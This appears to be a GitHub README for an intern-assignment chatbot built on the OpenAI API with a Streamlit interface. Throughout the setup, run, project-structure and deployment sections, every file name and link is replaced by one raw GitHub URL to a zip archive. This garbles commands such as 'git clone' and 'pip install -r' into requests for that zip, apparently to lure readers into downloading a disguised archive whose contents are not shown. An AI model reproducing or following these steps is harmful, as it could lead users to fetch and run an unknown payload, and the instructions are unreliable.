An AI-powered question-answering bot built for an intern assignment. Ask anything and get intelligent responses!
- Features
- Demo
- Quick Start
- Installation
- Usage
- Project Structure
- What I Learned
- Challenges & Solutions
- Future Improvements
- ๐ฌ Natural Conversation: Chat naturally with AI
- ๐ง Context Awareness: Remembers previous messages in conversation
- ๐จ Two Interfaces:
- Command-line for quick interactions
- Beautiful Streamlit web UI (Stretch Goal!)
- ๐ Clear History: Start fresh conversations anytime
- ๐ Message Counter: Track your conversation stats
- ๐ Easy Deployment: Ready for Streamlit Cloud
๐ค AI Q&A Bot - Command Line Edition
============================================================
โ
Connected to OpenAI!
๐ค You: What is Python?
๐ค AI: Python is a high-level programming language...
๐ค You: quit
๐ Thanks for chatting! Goodbye!
(Add screenshot here after running)
- Python 3.10 or higher
- OpenAI API key (Get one here)
- Clone the repository
git clone https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip
cd ai-qa-bot- Create virtual environment
# Windows
python -m venv venv
venv\Scripts\activate
# Mac/Linux
python3 -m venv venv
source venv/bin/activate- Install dependencies
pip install -r https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip- Set up environment variables
# Copy the example file
cp https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip .env
# Edit .env and add your OpenAI API key
# OPENAI_API_KEY=sk-your-key-herepython https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zipCommands:
- Type any question and press Enter
- Type
clearto start a new conversation - Type
quitorexitto end
streamlit run https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zipThen open your browser to http://localhost:8501
ai-qa-bot/
โโโ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip # This file
โโโ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip # Python dependencies
โโโ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip # Example environment variables
โโโ .gitignore # Git ignore file
โโโ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip # Command-line version
โโโ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip # Streamlit web interface
โโโ https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip # My development journey
โโโ screenshots/ # App screenshots
- API Integration: Connected to OpenAI's API and handled responses
- Environment Variables: Learned to secure API keys using
.envfiles - Error Handling: Implemented try-catch blocks for robust error management
- UI Development: Created both CLI and web interfaces
- State Management: Used session state in Streamlit for conversation history
-
Challenge: API key not loading
- Solution: Used
python-dotenvand verified file location
- Solution: Used
-
Challenge: Conversation context not maintained
- Solution: Implemented message history array
-
Challenge: Streamlit app not updating
- Solution: Used
https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zipfor persistent data
- Solution: Used
- ๐ Google/ChatGPT: For debugging errors and learning syntax
- ๐ OpenAI Docs: API documentation and best practices
- ๐บ YouTube: Streamlit tutorials
- ๐ StackOverflow: Troubleshooting specific issues
Problem: Confusion between python and python3 commands
What I tried:
- Typed
python --version- didn't work - Googled "python command not found"
- Found I needed to use
python3on Mac/Linux
Solution: Used python3 and created an alias
Problem: How to use API key without exposing it in code?
What I tried:
- First hardcoded the key (bad practice!)
- Researched "how to hide API keys python"
- Learned about environment variables
Solution: Implemented .env file with python-dotenv
Problem: Bot forgot previous messages
What I tried:
- Read OpenAI docs about conversation history
- Implemented message array
- Tested with follow-up questions
Solution: Pass entire conversation history to API
- Push to GitHub
git add .
git commit -m "Initial commit"
git push origin main- Deploy on Streamlit
- Go to https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip
- Click "New app"
- Select your repository
- Add your
OPENAI_API_KEYin Secrets - Deploy!
Alternative: https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip
See https://raw.githubusercontent.com/anmolmishra09/ai-qa-bot/main/reactionary/ai-qa-bot.zip for Render deployment instructions.
- Add voice input/output
- Support multiple AI models (GPT-4, Claude, etc.)
- Save conversation history to database
- Add user authentication
- Export conversations as PDF
- Add typing indicator animation
- Support image-based questions
- Multi-language support
This is a learning project, but suggestions are welcome!
MIT License - feel free to use this for learning!
Built with โค๏ธ and lots of Googling for the Intern Assignment
Time Spent: ~4 hours (including learning, debugging, and documentation)
Key Takeaway: Building is the best way to learn. Every error taught me something new!
- Don't fear errors - They're learning opportunities
- Document everything - Future you will thank present you
- Start small - Get basic version working first
- Google is your friend - Everyone does it, even senior developers
- Add polish gradually - Basic working > Perfect but incomplete
Questions? Open an issue or reach out!
Built as part of the Intern Assignment Challenge